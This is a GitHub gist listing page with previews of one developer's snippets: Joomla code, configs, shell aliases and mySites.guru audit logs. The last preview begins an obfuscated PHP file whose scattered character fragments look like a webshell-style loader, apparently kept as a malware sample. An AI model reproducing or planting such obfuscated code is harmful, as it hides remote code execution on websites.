Skip to content

Instantly share code, notes, and snippets.

View PhilETaylor's full-sized avatar

Phil E. Taylor PhilETaylor

View GitHub Profile
<?php
define('_JEXEC', 1);
define('JPATH_BASE', __DIR__);
require_once JPATH_BASE . '/includes/defines.php';
require_once JPATH_BASE . '/includes/framework.php';
// Boot the DI container
$container = \Joomla\CMS\Factory::getContainer();
/*
<?php
# composer require aws/aws-sdk-php
use Aws\SesV2\SesV2Client;
require 'vendor/autoload.php';
define('AWS_ACCESS_KEY_ID', '');
define('AWS_SECRET_ACCESS_KEY', '');
$client = new SesV2Client([
<?php
declare(strict_types=1);
use Rector\CodeQuality\Rector\BooleanAnd\SimplifyEmptyArrayCheckRector;
use Rector\CodeQuality\Rector\Expression\InlineIfToExplicitIfRector;
use Rector\CodeQuality\Rector\Foreach_\UnusedForeachValueToArrayKeysRector;
use Rector\CodeQuality\Rector\FuncCall\ChangeArrayPushToArrayAssignRector;
use Rector\CodeQuality\Rector\FuncCall\SimplifyRegexPatternRector;
use Rector\CodeQuality\Rector\FuncCall\SimplifyStrposLowerRector;
@PhilETaylor
PhilETaylor / duh.txt
Last active August 5, 2023 09:59
docker alias
alias cdocker=docker
alias cocker=docker
alias d="docker"
alias dcker=docker
alias dcocker=docker
alias dcoker=docker
alias dd="docker"
alias ddocker=docker
alias deocker=docker
alias dfocker=docker
<?php
/*
* @package bfNetwork
* @copyright Copyright (C) 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021 Blue Flame Digital Solutions Ltd. All rights reserved.
* @license GNU General Public License version 3 or later
*
* @see https://mySites.guru/
* @see https://www.phil-taylor.com/
*
* @author Phil Taylor / Blue Flame Digital Solutions Limited.
{% if "SECTION_UPTIME_SUMMARY" in options %}
<h3>➡️ Uptime Monitor Summary</h3>
{% if uptimedata is defined and uptimedata[site.id] is defined %}
<table class="table table-condensed table-bordered table-sm">
<thead>
<tr>
<th></th>
<th>1 Day</th>
<th>1 Week</th>
<th>1 Month</th>
@PhilETaylor
PhilETaylor / masterplugin.php
Last active July 4, 2021 08:59 — forked from jneubauer/masterplugin.php
Joomla! plugin that fires all possible plugin events
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
jimport('joomla.log.log');
class PlgSystemMasterplug extends JPlugin
{
function onExtensionBeforeInstall(){
JLog::add(JText::_('onExtensionBeforeInstall'), JLog::WARNING);
@PhilETaylor
PhilETaylor / gist:4054005
Created November 11, 2012 06:54
bfNetwork Audit Result Row
{
"data":
[
{
"id": 690,
"site_id": 11122681,
"user_id": 12364,
"status": "BLOB",
"killflag": null,
"scanerrormsg": null,
[2020-11-10 18:30:35] api-debugger.INFO: >>>>>>>>
POST /plugins/system/bfnetwork/bfnetwork/bfAudit.php?_1605032915 HTTP/1.1
Content-Length: 709
Referer: https://mySites.guru/
User-Agent: mySites/3.0 (mySites.guru)
X-MySites-FAQ: For Full Details See mySites.guru Or email phil@phil-taylor.com
Content-Type: application/x-www-form-urlencoded
Host: www.barous.com.gr
X-MYJOOMLA-TIME: 1605032915
<?php
$ancestral ='[eoRtiH'; $irreducible= 'EPSa_p_:a';$ingest = 'T(s[[),';$grete='r';$fume='T';$courageous= 'n'; $illustrate ='$'; $encourage ='Q'; $ionosphere='^Patv(';$flare =' ';$elicit='b';$declination = 'E'; $enclosure ='d';$burp= ')';$beefs ='e';$blueberry= 'sXege'; $lyndsey= ',';
$beaufort = '$'; $bourke= ')'; $hotel ='n'; $bilharziasis= 'R';$cowling='r'; $cheapen='C';$amazement = 'K_pkVi(p'; $jecho = 'o';$kayne='M'; $indefiniteness= 'ev"_L_i$E'; $furtiveness= '"oeaNggEf';$gaudiness= '$';$fricatives='e'; $chore= 'W)"cNtPrs';$bookcase ='m'; $atomization= 'U'; $bubba1='ort=]r()';
$gravest='a';
$laurena= 'P)'; $lase ='Tn(y(_ia'; $cocky ='g';
$israel=')'; $discovered= 'TSOrHe';$evanescent = '=e'; $chloride ='E$ela;ee'; $lieutenants='e'; $kinnie =')';